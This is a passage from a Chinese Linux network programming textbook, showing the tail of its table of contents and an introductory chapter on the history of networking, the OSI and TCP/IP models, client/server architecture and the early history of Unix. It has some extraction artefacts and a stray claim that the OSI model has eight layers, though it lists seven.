System V 的咨询锁定..............................................................................78 4.5.4 BSD 的咨询式锁定.................................................................................79 4.5.5 前面两种锁定方式的比较.......................................................................81 4.5.6 Linux 的其它上锁技术............................................................................81 4.6 System V IPC...................................................................................................84 4.6.1 ipcs 命令................................................................................................85 4.6.2 ipcrm 命令..............................................................................................86 4.7 消息队列(Message Queues)...........................................................................86 4.7.1 有关的数据结构.....................................................................................86 4.7.2 有关的函数............................................................................................89 4.7.3 消息队列实例——msgtool,一个交互式的消息队列使用工具..................94 4.8 信号量(Semaphores) .........................................................................................97 4.8.1 有关的数据结构.....................................................................................98 4.8.2 有关的函数............................................................................................99 4.8.3 信号量的实例——semtool,交互式的信号量使用工具...........................103 4.9 共享内存(Shared Memory)..............................................................................109 4.9.1 有关的数据结构...................................................................................109 4.9.2 有关的函数.......................................................................................... 110 4.9.3 共享内存应用举例——shmtool,交互式的共享内存使用工具................... 112 4.9.4 共享内存与信号量的结合使用.............................................................. 114 第五章 通信协议简介 .................................................................................................120 5.1 引言..............................................................................................................120 5.2 XNS(Xerox Network Systems)概述..............................................................120 5.2.1 XNS 分层结构......................................................................................120 5.3 IPX/SPX 协议概述........................................................................................122 5.3.1 网际包交换(IPX) .............................................................................122 5.3.2 排序包交换(SPX).............................................................................124 5.4 Net BIOS 概述................................................................................................124 5.5 Apple Talk 概述 ..............................................................................................125 5.6 TCP/IP 概述...................................................................................................126 5.6.1 TCP/IP 结构模型 ..................................................................................126 5.6.2 Internet 协议(IP)...............................................................................127 5.6.3 传输控制协议(TCP).........................................................................132 5.6.4 用户数据报文协议................................................................................134 5.7 小结..............................................................................................................135 第六章 Berkeley 套接字 ............................................................................................. 136 6.1 引言............................................................................................................. 136 6.2 概述............................................................................................................. 136 6.2.1 Socket 的历史...................................................................................... 136 6.2.2 Socket 的功能...................................................................................... 136 6.2.3 套接字的三种类型............................................................................... 138 6.3 Linux 支配的网络协议................................................................................... 141 6.3.1 什么是 TCP/IP? ................................................................................... 141 6.4 套接字地址................................................................................................... 142 6.4.1 什么是 Socket?.................................................................................. 142 6.4.2 Socket 描述符...................................................................................... 142 6.4.3 一个套接字是怎样在网络上传输数据的?............................................ 143 6.5 套接字的一些基本知识................................................................................. 144 6.5.1 基本结构............................................................................................. 144 6.5.2 基本转换函数...................................................................................... 145 6.6 基本套接字调用............................................................................................ 147 6.6.1 socket() 函数....................................................................................... 147 6.6.2 bind() 函数 ......................................................................................... 148 6.6.3 connect()函数 ...................................................................................... 150 6.6.4 listen() 函数........................................................................................ 151 6.6.5 accept()函数 ........................................................................................ 152 6.6.6 send()、recv()函数............................................................................... 154 6.6.7 sendto() 和 recvfrom() 函数................................................................. 155 6.6.8 close()和 shutdown()函数...................................................................... 156 6.6.9 setsockopt() 和 getsockopt() 函数......................................................... 157 6.6.10 getpeername()函数.............................................................................. 157 6.6.11 gethostname()函数.............................................................................. 158 6.7 DNS 的操作.................................................................................................. 158 6.7.1 理解 DNS............................................................................................ 158 6.7.2 和 DNS 有关的函数和结构 .................................................................. 158 6.7.3 DNS 例程............................................................................................ 159 6.8 套接字的 Client/Server 结构实现的例子.......................................................... 160 6.8.1 简单的流服务器.................................................................................. 161 6.8.2 简单的流式套接字客户端程序............................................................. 163 6.8.3 数据报套接字例程(DatagramSockets)............................................... 165 6.9 保留端口...................................................................................................... 169 6.9.1 简介.................................................................................................... 169 6.9.2 保留端口............................................................................................. 170 6.10 五种 I/O 模式................................................................................................. 179 6.10.1 阻塞 I/O 模式 .................................................................................... 179 6.10.2 非阻塞模式 I/O.................................................................................. 180 6.10.3 I/O 多路复用 ..................................................................................... 181 6.10.4 信号驱动 I/O 模式 ............................................................................. 182 6.10.5 异步 I/O 模式 .................................................................................... 185 6.10.6 几种 I/O 模式的比较.......................................................................... 186 6.10.7 fcntl()函数......................................................................................... 186 6.10.8 套接字选择项 select()函数.................................................................. 187 6.11 带外数据..................................................................................................... 190 6.11.1 TCP 的带外数据 ................................................................................ 190 6.11.2 OOB 传输套接字例程(服务器代码 Server.c) ................................... 193 6.11.3 OOB 传输套接字例程(客户端代码 Client.c).................................... 196 6.11.4 编译例子........................................................................................... 199 6.12 使用 Inetd(Internet 超级服务器)............................................................... 199 6.12.1 简介.................................................................................................. 199 6.12.2 一个简单的 inetd 使用的服务器程序 hello inet service.......................... 199 6.12.3 /etc/services 和 /etc/inetd.conf 文件 ..................................................... 200 6.12.4 一个复杂一些的 inetd 服务器程序...................................................... 201 6.12.5 一个更加复杂的 inetd 服务器程序...................................................... 203 6.12.6 程序必须遵守的安全性准则............................................................... 205 6.12.7 小结.................................................................................................. 205 6.13 本章总结 .................................................................................................... 205 第七章 网络安全性.....................................................................................................206 7.1 网络安全简介................................................................................................206 7.1.1 网络安全的重要性................................................................................206 7.1.2 信息系统安全的脆弱性.........................................................................207 7.2 Linux 网络不安全的因素................................................................................209 7.3 Linux 程序员安全........................................................................................... 211 7.3.1 系统子程序..........................................................................................212 7.3.2 标准 C函数库.......................................................................................214 7.3.3 书写安全的 C程序................................................................................216 7.3.4 SUI D/SGI D程序指导准则......................................................................217 7.3.5 root 程序的设计....................................................................................218 7.4 小结..............................................................................................................219 第八章 Ping 例程.......................................................................................................220 8.1 Ping 命令简介................................................................................................220 8.2 Ping 的基本原理.............................................................................................220 8.3 小结..............................................................................................................221 第九章 tftp 例程.........................................................................................................222 9.1 tftp 协议简介..................................................................................................222 9.2 tftp 的使用.....................................................................................................222 9.3 tftp 的原理.....................................................................................................223 9.3 tftp 的基本结构..............................................................................................223 9.4 小节..............................................................................................................225 第十章 远程命令执行 .................................................................................................226 10.1 引言 ............................................................................................................226 10.2 rcmd 函数和 rshd 服务器...............................................................................227 10.3 rexec 函数和 rexecd 服务器...........................................................................233 第十一章 远程注册.....................................................................................................235 11.1 简介.............................................................................................................235 11.2 终端行律和伪终端........................................................................................235 11.3 终端方式字和控制终端.................................................................................239 11.4 rlogin 概述....................................................................................................242 11.5 窗口环境......................................................................................................242 11.6 流控制与伪终端方式字.................................................................................243 11.7 rlogin 客户程序.............................................................................................245 11.8 rlogin 服务器................................................................................................246 第十二章 远程过程调用..............................................................................................249 12.1 引言 ............................................................................................................249 12.2 远程过程调用模型 .......................................................................................249 12.3 传统过程调用和远程过程调用的比较 ...........................................................250 12.4 远程过程调用的定义....................................................................................252 12.5 远程过程调用的有关问题.............................................................................252 12.5.1 远程过程调用传送协议.......................................................................253 12.5.2 Sun RPC...........................................................................................254 12.5.3 Xerox Courier....................................................................................254 12.5.4 Apollo RPC........................................................................................255 12.6 stub 过程简介...............................................................................................256 12.7 rpcgen 简介..................................................................................................256 12.8 分布式程序生成的例子 ................................................................................257 12.8.1 我们如何能够构造出一个分布式应用程序...........................................257 12.9 小结 ............................................................................................................283 第十三章 远程磁带的访问 ..........................................................................................284 13.1 简介 ............................................................................................................284 13.2 Linux 磁带驱动器的处理 ..............................................................................285 13.3 rmt 协议.......................................................................................................285 13.4 rmt 服务器设计分析 .....................................................................................286 第十四章 WWW 上 HTTP 协议.................................................................................. 290 14.1 引言............................................................................................................ 290 14.2 HTTP 客户请求........................................................................................... 290 14.2.1 客户端 .............................................................................................. 290 14.2.2 服务器端........................................................................................... 290 14.2.3 Web 请求简介.................................................................................... 291 14.2.4 HTTP – HyperText Transfer Protocol 超文本传输协议 ........................... 295 14.3 Web 编程 .................................................................................................... 297 14.4 小结 ........................................................................................................... 301 附录 A 有关网络通信的服务和网络库函数...................................................................302 附录 B Vi 使用简介.....................................................................................................319 B.1 Vi 基本观念...................................................................................................319 B.1.1 进入与离开..........................................................................................319 B.1.2 Vi 输入模式 .........................................................................................319 B.2 Vi 基本编辑...................................................................................................320 B.2.1 删除与修改..........................................................................................320 B.3 Vi 进阶应用...................................................................................................320 B.3.1 移动光标 .............................................................................................320 B.3.2 进阶编辑命令 ......................................................................................322 B.3.3 文件命令 .............................................................................................322 附录 C Linux 下 C 语言使用与调试简介......................................................................324 C.1 C 语言编程 ...................................................................................................324 C.2 什么是 C? .....................................................................................................324 C.3 GNU C 编译器...............................................................................................324 C.3.1 使用 GCC............................................................................................324 C.3.2 GCC 选项............................................................................................325 C.3.3 优化选项.............................................................................................325 C.3.4 调试和剖析选项...................................................................................325 C.3.5 用 gdb 调试 GCC 程序..........................................................................326 C.4 另外的 C 编程工具........................................................................................330 C.4.1 Xxgdb..................................................................................................330 C.4.2 Calls ....................................................................................................331 C.4.3 cproto..................................................................................................332 C.4.4 Indent..................................................................................................333 C.4.5 Gprof...................................................................................................334 C.4.6 f2c 和 p2c ............................................................................................335 附录 D Pi ng 源码........................................................................................................336 附录 E TFTP 服务器程序源码.....................................................................................362 第 1 章 概论 - 1 - 第一章 概论 1.1 网络的历史 所谓计算机网络就是通过通信线路互相连接的计算机的集合。它是由计算机及外围设 备,数据通讯和中断设备等构成的一个群体。目前,计算机网络大部分都是多台计算机之 间能互连,通信,达到资源共享目的的网络系统,它是电子计算机及其应用技术与通讯技 术日益发展且两者密切结合的产物。 计算机的通信通常有两种方式: 1.通过双绞线,同轴电缆,电话线或光缆等有形传输介质而互相实现通信; 2.通过激光,微波,地球卫星等无形介质实现无线通讯。 后者是今后发展的主要方向,因为 90 年代以后,出现了各种各样的微型电脑(笔记 本电脑),无线网络在以后一定会进一步发展。 计算机网络的研制开始于 60 年代中期,至今以有 20 多年的历史。其网络技术发展 及应用已经十分普及,已经渗透到各个领域,并正在日益显示着它对信息化社会所带来的 影响和深远的意义。 在网络发展上,最早出现的是分布在很大的地理范围内的远程网络 (Wide Area Network,WAN),例如美国国防部高级研究计划局首先研制的 ARPA 网,它从 1969 年 建立,至今已经发展成为跨越几大洲的巨型网络。 70 年代中期由于微型计算机的出现和微处理器的出现,以及短程通讯技术的迅猛发 展,两者相辅相成,又促进以微机为基础的各种局域网络(Local Area Network,LAN)的 飞快发展,1975 年美国 Xerox 公司首先推出了 Ethernet,与此时英国剑桥大学研制成剑桥 环网,他们是 LAN 的代表。 LAN 与 WAN 有所区别,其特点为: 有限的地理范围,通常网内的计算机限于一栋大楼,楼群或一个企业及单位。 较高的通讯速率,大多在每秒 1-100M bps ,而 WAN 大多在几十 Kbps。 通讯介质多样。 通常为一个部门所拥有。 特别是 80 年代以来,以微机为基础,LAN 技术有了极其迅速的发展。 90 年代计算机网络化大趋势尤为明显。具称 1978 年全世界约有 700 万人每天使用计 算机,而到 1998 年上升到 5000 万人,目前全世界已经拥有超过一亿台的计算机,预计每 天上机人数可达 2 亿以上。计算机的性能价格比以每年 25%的速度在提高。微机的应用已 经渗透到国民经济的各个部门,乃至家庭和个人。这标志着正步入信息时代,世界范围内 的社会信息数据正在每年增长 40%到 45%的年增长率在增加,这就是迫切实现网络化的动 力源泉。据称,约有 65%的计算机要联网或已经联网,以求彼此通信,达到资源共享的目 - 2 - Linux 网络编程 标。 90 年代计算机网络化更加向深度和广度方向发展。人们要求网络传输的内容范围增 加,诸如数据之外,还需传输声音,图形,图象和文字,这就是以网络为基础的多媒体技 术,使网络的应用广度更加扩大,并最终为信息化社会的实现所必须的网络连接奠定基础。 当前国际 LAN 的市场上,两雄称霸,龙争虎斗的局面,将可能持续相当长一段时间。 正如大家知道的那样,80 年代后期美国 Novell 公司先是以“ 一花独秀,压倒群芳” 之势占据了国际 LAN 市场 60%以上,一路领先,扶摇直上,尤其是 NetWare 386 V3.11 版 推出后,受到普遍的注目;随后,国际上的软件公司龙头老大 Microsoft 公司先后推出了 LAN Manager V1.0(即 LAN 3+ Open)、LAN Manager V2.0 和 V2.1,后来居上,成为世界 LAN 的两大支柱之一。1992 年 10 月 Microsoft 又抢先发布了 LAN Manager V2.2,以更加 领先于 Novell 的 NetWare 386 V3.11,但后者立即随后推出了 NetWare 4.0。可见“ 龙争虎 斗”,瓜分市场的情景。 Novel LAN 采取了“ 将网络协议软件与网络操作系统 NetWare 紧密结合起来” 的设 计构想,可达到节省开销,提高运行效率之目标。Novell LAN 最大的特点是与其底层的网 卡的无关性,即是说 NetWare 可以虚拟的在所有流行的 LAN 上面运行,使它成为一个理 想的开发网络应用软件的平台,吸引了广大用户软件人员为之开发越来越多的网络应用软 件。反过来又推动其发展,同时 Novell LAN 采取了开放协议技术(OPT),允许各种网络 协议紧密结合,进而在 NetWare 386 V3.11 版中采用了 NLM 模块的组合技术,可以实现异 机种联网的难题。此外,Novell LAN 不需专用服务器,占用工作站内存最小,使用方便, 功能强,效率高,兼容性强,可靠性高,保密性强,容错性好。尤其在 NetWare 386 V3.11 版中实现了服务器软件的“ 分布式结构策略” 、“ 横向信息共享”、“ 报文传送” 技术、增添 了“ TCP/IP 栈” 、实现了“ SNA 协议” 和“ 开放式数据链路接口” 等一系列新技术,使 Novell LAN 更深入人心,扩大了市场。 与此同时,Microsoft 公司的 LAN Manager V2.1 和 V2.2 版除了具备 Novel LAN 一些 通常的优点之外,还采用了“ 客户机/服务器” (Client/Server)的先进内网络体系结构, 以及基于多用户,多任务并发操作系统 OS/2 作为服务器的强大功能,并以 OS/2,Unix, VMS 和 Windows NT 作为开发平台,更便于异类机种联网和异网互连。由于 LAN Manager 与 Windows 紧密结合,使它有更好的性能价格比。 在网络化技术迅速发展的今天,使用性强的 TCP/IP 协议立下了汗马功劳。起先,TCP/IP (Transmission Control Protocol/Internet Protocol)是美国国防部于 70 年代提出的重大决策 之一,将网络(当时主要是中大型机连成的网络)互连起来,并按 TCP/IP 协议实现异网 之间“ 数据通讯和资源共享”,接着美国国防部高级计划局(DARPA)于 70 年代末提出了 一系列的国际互连(Internet)技术。使得在科学研究,军事和社会生活迫切需要的大范围 实现资源共享和交换信息得以实现。 TCP/IP 协议的基本思想是通过网间连接器(Gateway)将各种不同的网络连接起来, 在各个网络的低层协议之上构造一个虚拟的大网,是用户与其他网的通讯就像与本网的主 机通讯一样方便。 国际标准化组织 (ISO) 对网络标准提出了 OSI/RM(开放系统互连七层协议的参考模 型),这七层自低向高分别为物理层,数据链路层,网络层,传输层,会话层,表示层和 应用层。而自此之前,DARPA 提出的 TCP/IP 仅仅提供了高四层标准,对低三层没有定义, 第 1 章 概论 - 3 - 因此 TCP/IP 在设计时必须要解决与低层的接口问题。 1.2 OSI 模型 OSI 模型是国际互连网标准化组织(International Standards Organizations ISO)所定义 的,为了使网络的各个层次有标准。这个模型一般被称为“ ISO OSI (Open System Interconnection)Reference Model”。虽然迄今为止没有哪种网络结构是完全按照这种模型 来实现的,但它是一个得到公认的网络体系结构的模型。 OSI 模型拥有 8 个层次: 1.Physi cal 物理层 它在物理线路上传输 bit 信息,处理与物理介质有关的机械的,电气的,功能的和规 程的特性。它是硬件连接的接口。 2.Dat a Li nk 数据链路层 它负责实现通信信道的无差错传输,提供数据成帧,差错控制,流量控制和链路控制 等功能。 3.Net Work 网络层 负责将数据正确迅速的从源点主机传送到目的点主机,其功能主要有寻址以及与相关 的流量控制和拥塞控制等。 物理层,数据链路层和网络层构成了通信子网层。通讯子网层与硬件的关系密切,它 为网络的上层(资源子网)提供通讯服务。 4.Transport 传输层 为上层处理过程掩盖下层结构的细节,保证把会话层的信息有效的传到另一方的会话 层。 5.Sessi on 会话层 它提供服务请求者和提供者之间的通讯,用以实现两端主机之间的会话管理,传输同 步和活动管理等。 6.Present at i on 表示层 它的主要功能是实现信息转换,包括信息压缩,加密,代码转换及上述操作的逆操作 等。 7.Application 应用层 它为用户提供常用的应用,如电子邮件,文件传输,Web 浏览等等。 需要注意的是 OSI 模型并不是一个网络结构,因为它并没有定义每个层所拥有的具 体的服务和协议,它只是告诉我们每一个层应该做什么工作。但是,ISO 为所有的层次提 供了标准,每个标准都有其自己的内部标准定义。 下面我们来看看 OSI 模型的层次图(图 1-1): - 4 - Linux 网络编程 图 1-1 OSI 模型的层次图 1.3 Internet 体系模型 Internet 网是由许多子网通过网关互连组成的一个网格集合。网关是一个执行网络间 转发功能的系统,被网关连接的子网有一个共同特点,它们都使用 TCP/IP 通信协议。 Internet 是建立在 TCP/IP 基础上,因此采用了 TCP/IP 的网络体系结构。 TCP/IP 的网 络体系结构如表 1-1 所示: 表 1-1 TCP/IP 的网络体系结构 SMTP DNS HTTP FTP TELNET TCP UDP NVP ICMP IP ARP RARP 以太网 PDN 其他 电话线 同轴电缆 光缆 在 TCP/IP 网络体系结构中,第一层和第二层是 TCP/IP 的基础,其中 PDN 为公共数 据网。第三层是网络层,它包含四个协议:IP,ICMP,ARP 和反向 ARP。第四层是传输 层,在网络上的计算机间建立端到端的连接和服务,它包含 TCP,UDP 和 NVP 等协议。 最高层包含了 FTP,TELNET,SMTP,DNS,HTTP 等协议。 网络层的主要功能由互连网协议(IP)提供,它提供端到端的分组分发,表示网络号 第 1 章 概论 - 5 - 及主机结点的地址,数据分块和重组;并为相互独立的局域网建立互连网络的服务。 要想网络连入到 Internet,必须获得全世界统一的 IP 地址。IP 地址为 32 位,由 4 个十 进制数组成,每个数值的范围为 0~255,中间用“ .” 隔开。每个 IP 地址定义网络 ID 和网 络工作站 ID。网络ID 标识在同一物理网络中的系统;网络工作站 ID 标识网络上的工作站, 服务器或路由选择器,每个网络工作站地址对网络 ID 必须唯一。Internet IP 地址有三种基 本类型: A 类地址 其 W 的高端位为 0,允许有 126 个 A 类地址,分配给拥有大量主机的网络。 B 类地址 由 W.X 表示网络 ID,其高端前二位为二进制的 10,它用于分配中等规模的网络,可 有 16384 个 B 类地址。 C 类地址 其高端前三位为二进制 110,允许大约 200 万个 C 类地址,每个网络只有 254 个主机, 用于小型的局域网。 其格式表示如表 1-2: 表 1-2 IP 网络地址的格式 类型 IP 地址 网络地址 主机 ID A W.X.Y.Z W X.Y.Z B W.X.Y.Z W.X Y.Z C W.X.Y.Z W.X.Y Z 1.4 客户/服务器模型 主机结构的计算机系统是企业最早采用的计算机系统,它运行 Unix 操作系统或其他 多用户的操作系统。在多用户操作系统的支持下,各个用户通过终端设备来访问计算机系 统,资源共享,数据的安全保密,通讯等等全部由计算机提供。系统的管理任务仅仅局限 在单一计算机平台上,管理与维护比较简单。 但是,主机系统的灵活性比较差,系统的更新换代需要功能更加强大的计算机设备。 系统可用性较差,如果没有采用特殊的容错设施,主机一旦出现故障,就可以引起整个系 统的瘫痪。 客户机/服务器的体系结构如图 1-2 所示。 在客户机/服务器体系结构中至少有两台以上的计算机,这些计算机是由网络连接在 一起,实现资源与数据共享。计算机之间通过传输介质连接起来,在它们之间形成通路。 计算机之间必须按照协议互相通讯,协议(Protocol)是一组使计算机互相了解的规则与标 准,是计算机通讯语言。网络中的设备只有按照规定的协议来通讯的,而让执行不同协议 的计算机互相通讯也是一件复杂的事情。所以国际标准组织指定了开放系统互连(OSI) 协议,描述了计算机网络各结点之间的数据传送所需求的服务框架,称为计算机网络协议 参考模型。许多计算机网络厂家都以自己的技术支持某种协议,以此来开发计算机的网络 - 6 - Linux 网络编程 产品。 图 1- 2 客户机/服务器的体系结构 网络计算环境中的资源可以为各个结点上的计算机共享,从服务的观点上来看,网络 中的计算机可扮演不同的角色:有的计算机只是执行"服务请求"任务,是一个客户机的 角色,有的计算机用语完成指定的"服务功能",是服务的提供者,起着服务器的角色。 在网络化的计算机环境中,为计算机提供网络服务与网络管理是网络操作系统(NOS) 的基本功能。网络操作系统协调资源共享,对服务请求执行管理。最通用的网络服务是文 件服务,打印服务,信息服务,应用服务与数据库服务等。 文件服务 文件服务可以有效的存储,恢复与移动数据文件,它要执行数据的读,写,访问控制 以及数据的管理操作。文件服务可以帮助用户很快的将数据文件由一个地方转移到另外一 个地方。网络的文件服务可实现计算机之间的文件传送,文件转储,文件更新以及文件归 档等。 打印服务 打印服务用于控制与管理网络打印机与传真设备的网络服务,实现打印机硬件资源共 享。 信息服务 信息服务可动态的处理网络个结点计算机用户之间,应用程序之间的通信,网络的信 息服务为计算机网络目标之间提供了通信工具,并对分散的目标进行管理与操作。信息服 务可以实现工作组的应用,进行工作流程管理,决定工作流程路径,转移策略,处理分布 的商业事物等。信息服务可在用户之间传递信息与文件资料,可建立集成电子邮件系统等。 应用服务 网络应用服务用语协调网络间的硬件和软件资源,建立一个最适合的平台来运行应用 软件。 数据库服务 网络的数据库服务体统了共享数据的存储,查询,管理和恢复等多方面的服务。在数 据服务中,客户机的任务是接受用户的服务请求,并将这些请求按一定格式发送到服务器, 第 1 章 概论 - 7 - 客户机还对服务器返回的响应数据进行处理,并按规定形式呈现给用户。数据库服务器用 来分析用户请求,实施对数据库的访问与控制,并将处理结果返回给客户端。此时网络上 传输的只是请求与少量的查询结果,其网络通信负担比基于文件系统的 LAN 网少的多。 在 1985 年后形成的客户机/服务器计算模式,一般是针对一个企业的全部活动,按 照企业的业务模型由系统分析员建立整个企业的信息系统框架。再设计基于客户端/服务 器模型的。再设计系统结构时,首先要考虑以下几点: 需要多少资源并将他们设计为服务器。 有多少客户站点,他们要完成什么子任务。 明确每个子业务和其他业务有什么关系,需要传递什么信息。 子业务由各站点开发的客户应用程序实现,程序开发的着眼点是如何实现本系统的子 任务。客户端程序通常由应用程序员利用常规的开发工具来完成。 服务器站点只开发服务器程序,该应用程序主要考虑如何发挥本站点资源的功能,如 何提供更方便的服务。这些程序一般由软硬件制造商提供开发工具并带有大量实用程序, 尽量减少应用时的开发。 关于客户机/服务器系统开发变化如表 1-3: 表 1-3 客户机/服务器系统开发变化 目前的 C/S 系统 下一步的 C/S 系统 将来的 C/S 系统 客户机 主要用 CASE 工具和程 序设计语言开发 主要用软部件开发 主要用软部件来 服务器 主要用程序设计语言开发 主要用程序设计语言 开发 主要用软部件或够 家 开 发 ( 基 于 分 布) 1.4 UNIX 的历史 “ One half of the world must sweat and goarn that the other half may dream.” ----Henry Wadworth Longfellow 1.4.1 Unix 诞生前的故事 我们先谈谈 UNIX 的创世之初,有两点需要牢牢把握: 1.虽然 UNIX 的许多部分和其实现过程是创造性的,但其几个重要的思想都可以追 溯到早期的操作系统发展。 2.如果不是 Ken Thompson,如果不是他心灵手巧,擅长摆弄当时那些身边触手可及 的工具,UNIX 是不可能被写出来的。那是 1968 年,Ken Thompson 和同在贝尔实验室计 算机研究小组的同事们一起进行关于 MULTICS 项目的研究工作。MULTICS 是一个误入歧 途而又辉煌灿烂的计算系统。她提供了非常复杂的功能,同时消耗大量的计算资源。她太 大而且太慢,研究人员们不得不一开始就缩减其初始设,进行简化实现。尽管如此,几个 可工作的 MULTICS 实现还是完成了,提供了非常好的计算环境。在贝尔实验室的那个是 - 8 - Linux 网络编程 在一台模拟 GE635 的 GE645 上完成的。系统提供分时服务,但她主要是面向批处理的, 其环境笨拙且不友好。Ken 和他的伙伴们(特别是 Dennis Ritchie 和 Joseph Ossanna)不想 放弃 MULTICS 提供的舒适环境,于是他们开始向 AT&T 的管理部门游说,希望能获得一 个交互式平台,诸如 DEC-10,并在其上建造他们自己的操作系统。DEC-10 是 DEC 公司 (Digtal Equipment Corp.)推出的一系列机种的一种。该机有一个非常灵活的交互式分时 系统。很不幸,与那个时代的许多分时平台一样,DEC-10 非常昂贵。 我们应该庆幸,Ken 的请求被拒绝了。这样的情性又发生了几次,这对 Ken 来说是太 不幸了。由于 MULTICS 的失败,AT&T 管理当局被 Ken 的计划打动,他们也没有兴趣来 投资另一个仅仅是在不同的硬件上设计一个看起来与 MULTICS 一样的操作系统。 与此同时,Ken 对一个成为星际旅行的游戏非常有兴趣。该程序模拟太阳系的几个主 要的星体和一艘可在不同对方着陆的飞船。Ken 将其安装在 GE 系统上,GE 系统忽快忽慢 的响应时间使 Ken 大为失望。而且根据后来 Dennis 的说法,在 GE 系统上运行一次该游戏 需要 75 美元,太贵了。Ken 和 Dennis 后来找到了现在非常有名的“ little-used PDP-7 sitting in a corner”,他们用 GE 系统生成了可在该机器运行的程序代码。 1.4.2 UNIX 的诞生 有了星际旅行,Ken 有了正当的理由去实现他曾在 MULTICS 计划中设计和模拟的理 论上的文件系统。很自然,一台有用的机器需要的不仅仅是一个文件系统。Ken 和他的朋 友还完成了第一个命令解释器(Shell)和一些简单的文件处理工具。开始时,他们用 GE 系统来为 PDP-7 进行交叉编译。很快,他们写好了汇编器(assembler),系统已经开始自 支持了。这时的系统已经有点象 UNIX 了(如用 fork()来支持多任务)。文件系统与现在的 文件系统相对相似。它使用 i-节点,而且有特殊的文件类型来支持目录和设备。那台 PDP- 7 可同时支持二个用户。 MULTICS 其实是代表“ MULTiplexed Information and Computing System”。1970 年,Brian Kernighan 开玩笑称 Ken 的系统为“ UNICS”,代表“ UNiplexed Information and Computinig System” ,毕竟与 Ken 的系统相比,MULTICS 过于庞大了。(某些人称 MULTICS 代表“ Many Unnecessarily Large Tables In Core Simultaneously” 而 UNIX 则是裁剪了的 MULTICS。)不 久,UNICS 变成了 UNIX 而且被流传下来。 计算机研究小组并不对 PDP-7 十分满意。其一是它是借来的一台机器,更主要的是它 能力有限,不太可能提供计算服务。于是小组再次提交申请,这回是一台 PDP-11/20 来研 究文字处理。该申请与前一次的显著的区别是 PDP-10 的价格只是 DEC-10 的凤毛麟角。 由于这次的申请十分具体——一个文字处理系统,AT&T 的管理当局宽宏大量为他们购买 了 PDP-11。1970 年 UNIX 被移植到 PDP-11/20 上。那可不是一件轻而易举的事,整个系 统全是用汇编写的啊!小组又将汇编写的 roff(又称为 runoff,troff 的前身)从 PDP-7 移 植到 PDP-11 上。再加上一个编辑器就足以称为一个文字处理系统了。与此同时,贝尔实 验室的专利局正在寻找一个文字处理系统。他们选择了计算机研究小组的基于 UNIX 系统 的 PDP-11/20。贝尔实验室专利局成了 UNIX 的首家商业用户。这第一个系统有几点是很 值得注意的。跑 UNIX 的 PDP-11/20 没有存储保护。它仅有一个 0.5Mb 的磁盘。它同时支 持三个用户,分别完成编辑,排版,再加上计算机研究小组进行进一步的 UNIX 开发。该 系统的手册被标为“ First Edition”,日期为 1971 年 11 月。 第 1 章 概论 - 9 - 第二版于 1972 年发行,增添了管道的功能。该版本还加上了除汇编之外的编程语言 支持。特别值得一提的是 Ken 曾试图用 NB 语言来重写核心。NB 是由 B 语言(由 Ken 和 Dennis 设计)修改而来的。B 语言的前身是 BCPL,BCPL(Basic CPL)是 Martin Richards 于 1967 年在剑桥设计的。CPL(Combined Programming Language)则是 1963 年伦敦大学和 剑桥大学的合作项目。而 CPL 则颇受 Algol60(1960 设计)的设计思想影响。 所有这些语言在控制结构上都和 C 语言相似,不过 B 和 BCPL 都是“ 无类型” 的语言 (尽管有点用词不当),它们只支持按“ 字” 来访问内存。NB 演化为 C,而 C 则很快称为 新的工具和应用的首选语言。 参与 MULTICS(MULTICS 用 PL/I 书写)的经验告诉 Ken 和 Dennis,用高级语言来 写系统是合算的。由此,他们一直试图完成它。1973 年,C 语言加入了结构和全局变量。 与此同时,Ken 和 Dennis 成功地用 C 重写了 UNIX 核心。Shell 也被重写了。这增加系统 的健壮性,也使编程和调试变得容易了很多。那时,大约有 25 个 UNIX 系统。在贝尔实 验室内部成立了 UNIX 系统小组来进行内部维护工作。几家大学都和贝尔实验室签定协议, 获得了第四版的拷贝。协议主要是不泄露源码,在那时还没有许可证这回事。Ken 自己录 制磁带,不收任何费用。第一卷磁带由在纽约的哥伦比亚大学获得。 1974 年,Ken 和 Dennis 在 Communications of the ACM 上发表了论文介绍 UNIX 系统。 那时,Communications 是计算机科学的主要刊物,那篇文章在学术界引起了广泛的兴 趣。 第五版正式以“ 仅用于教育目的” 的方式向各大学提供。价格也只是名义上够磁带和手册 的费用。第五版在许多大学用作教学。这时 Ken 和 Dennis 仍在积极地投入 UNIX 的研究; 然而,他们继续避免提供支持的承诺。他们的小组被称为“ Research”(或在贝尔实验室内 部称为“ 1127”)。他们的机器被命名为 research。你可以通过 uucp 向他们发送 bug 报告, 打电话询问他们,甚至进他们的办公室和他们一起讨论 UNIX 的问题。通常他们总能在其 后的若干天内解决 bug。与 research 的在贝尔实验室的另一个小组被称为 PWB,Programmer's Workbench。由 Rudd Canaday 领导的 PWB 小组支持一个用于大型软件开发的 UNIX 版本。 PWB 试图向那些并不对 UNIX 研究感兴趣的用户通过服务。他们做了大量的工作来强化了 UNIX 的核心,包括支持更多的用户。PWB 的两个非常有用的计划分别是 SCCS(源码控 制系统)和 RJE(使用 UNIX 作为实验室其它主机的前段)。PWB 最终注册为 PWB/UNIX1.0。 UNIX 替代了越来越多的 PDP-11 上的 DEC 公司的操作系统。尽管 UNIX 不被支持,但她 的魅力远胜于她的问题而吸引了许多的用户。除了系统本身的许多优点外,源码是可以获 得的,而且系统从整体上也是易于理解的。进行修改和扩充很容易。这使得 UNIX 与其同 类的其它操作系统大不一样。 1975 年,第六版 UNIX 系统发行了。这是第一个在贝尔实验室外广为流传的 UNIX 系 统。AT&T(通过 West Electric Co.)开始向商业和政府用户提供许可证。Mike Lesk 发行了 他的可移植 C 语言库。该库提供了可在任何支持 C 语言的机器上进行 I/O 的库例程。这是 用 C 书写可移植代码的重要的一步。Dennis 后来重写了该库并称其为标准 I/O 库(即所谓 stdio)。UNIX 用户们首次在纽约市进行会晤,有纽约城市大学的 Mel Ferentz 作东。当时 有 40 人参加。从此以后该会议每两年举行一次,会议是极不正式的。如果你想进行演讲, 你就举手,并且讲就行了。这些会议是极好的交流 bugs 报告,修改和软件的方式。每个人 都带上两卷磁带参加会议,一卷是给别人的,一卷是用来录制新东西的。 1977 年,Interactive Systems 公司称为首家向最终用户出售 UNIX 的公司。UNIX 终于 - 10 - Linux 网络编程 成了产品。在同一时期有三个小组将 UNIX 移植到不同的机器上。Steve Johnson 和 Dennis Ritchie 将 UNIX 移植到一台 Interdata 8/32 机器上。澳大利亚的 Wollongong 大学的 Richard Miller 和同事们将 UNIX 移植到一台 Interdata 7/31 上。Tom Lyon 和其在普林斯顿(Princeton) 的助手们完成了到 VM/370 的移植。每次移植都干的十分漂亮。具体点,所有这三台机器 都与 PDP-11 